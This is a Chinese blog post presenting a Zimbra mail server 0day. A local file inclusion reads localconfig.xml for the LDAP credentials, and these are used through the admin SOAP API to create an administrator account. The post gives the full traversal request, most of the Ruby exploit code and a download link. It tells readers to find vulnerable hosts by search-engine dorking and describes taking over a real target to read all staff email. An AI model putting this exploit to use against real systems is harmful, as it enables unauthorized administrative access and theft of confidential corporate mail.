由LFI引起的Zimbra邮件管理系统0day
由LFI引起的Zimbra邮件管理系统0day
Zimbra是一个公司用的很多的邮件系统,可能涉及到很多公司内部的机密,所以极为重要。
这是前几天在exploit-db.com上发出来的0day:http://www.exploit-db.com/exploits/30085/ 。由本地文件包含漏洞可以看到localconfig.xml的内容,而这个文件中包含了LDAP凭证,由这个凭证通过在/service/admin/soap文件下的API来对邮件系统进行越权操作。
0x01 漏洞演示
在百度里搜索“使 Zimbra Desktop 处于离线状态”,你会找到很多使用Zimbra的系统:
我们找到我们的目标网站,只用简单使用我们的exp:
提示Successfully,于是我用新建的账号登录,成功:
看到有一个“管理员控制台”,因为这个账号是管理员权限,点进去就可以管理所有用户了,当然从公司的老总到客服,所有邮件都尽收眼底。这是管理首页:
0x02 exp运行过程说明
exp是ruby写的,我也没用python改写,因为比较简单。
首先访问存在LFI的页面:/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00
req = Net::HTTP::Get.new( "/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00", { "Accept-Encoding" => "gzip", "User-Agent" => "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36" } )
res = http.request( req )
从其中获取到LDAP的账号密码,执行get_auth_token函数:
resbody = gz.read()
part1 = resbody.gsub("n", ' ').squeeze(' ')
part2 = part1.gsub("a[", '').squeeze(' ')
ldap_user = part2.match(/name=\"zimbra_user\">"; "<value>(.*?)</value>/ui)[1]
ldap_pass = part2.match(/name=\"zimbra_ldap_password\">"; "<value>(.*?)</value>/ui)[1]
get_auth_token(ldap_user,ldap_pass)
这个函数就访问了/service/admin/soap,并获取到了LDAP服务在Zimbra中的auth_key:
def get_auth_token(user,pass)
https = Net::HTTP.new( $host, 7071 )
path = "/service/admin/soap"
https.use_ssl = true
https.verify_mode = OpenSSL::SSL::VERIFY_NONE
body = "<?xml version="1.0" encoding="UTF-8"?>
<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope" xmlns:ns1="urn:zimbraAdmin" xmlns:ns2="urn:zimbraAdmin"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by="name">#{user}</account><password>#{pass}</password></ns1:AuthRequest></env:Body></env:Envelope>"
data = https.post(path, body, { "Content-Type" => "application/soap+xml; charset=utf-8; action="urn:zimbraAdmin#AuthRequest"" } )
$auth_key = data.body.match(/<authToken>(.*)</authToken>/iu)[1]
exploit()
end
获取到auth_key后调用exploit()函数,使用auth_key调用utils类的request_soap_admin方法添加了管理员用户,其中,request_soap_admin方法就是运用Zimbra的API,方式是向/service/admin/soap提交构造好的含有auth_key的xml:
def request_soap_admin(api_call)
@request=api_call
soap_client = Net::HTTP.new( $host, 7071 )
soap_client.use_ssl = true
soap_client.verify_mode = OpenSSL::SSL::VERIFY_NONE
soap_path = "/service/admin/soap"
soap_data = "<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><authToken>#{$auth_key}</authToken></context></soap:Header><soap:Body>#{@request}</soap:Body></soap:Envelope>"
response = soap_client.post(soap_path, soap_data, { "Content-Type" => "application/soap+xml; charset=utf-8; action="urn:zimbraAdmin"" } )
if response.body.match(/Error/)
error_res = response.body.match(/<soap:Text>(.*?)</soap:Text>/ui)[1]
puts "[-] Response Error"
puts " [*] #{error_res}"
false
else
return response.body
end
end
0x03 exp下载
http://www.exploit-db.com/sploits/zimbraexploit_rubina119.zip
- 简单易学的机器学习算法——线性可分支持向量机
- 基于gensim的Doc2Vec简析,以及用python 实现简要代码
- 关于db link权限分配的苦旅(一) (r7笔记第42天)
- Java设计模式-责任链模式
- Java设计模式-策略模式
- CPU 100%负载的性能优化分析(r7笔记第40天)
- Sklearn-train_test_split随机划分训练集和测试集
- 使用shell来定制dbms_sqltune(r7笔记第39天)
- 简单易学的机器学习算法——分类回归树CART
- Java设计模式-状态模式
- DBA和开发同事的一些代沟(四) (r7笔记第36天)
- python获取文件所在目录和文件名,以及检索当前文件名的方法
- 数据同步中的误导(r7笔记第34天)
- java读取xml文件
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法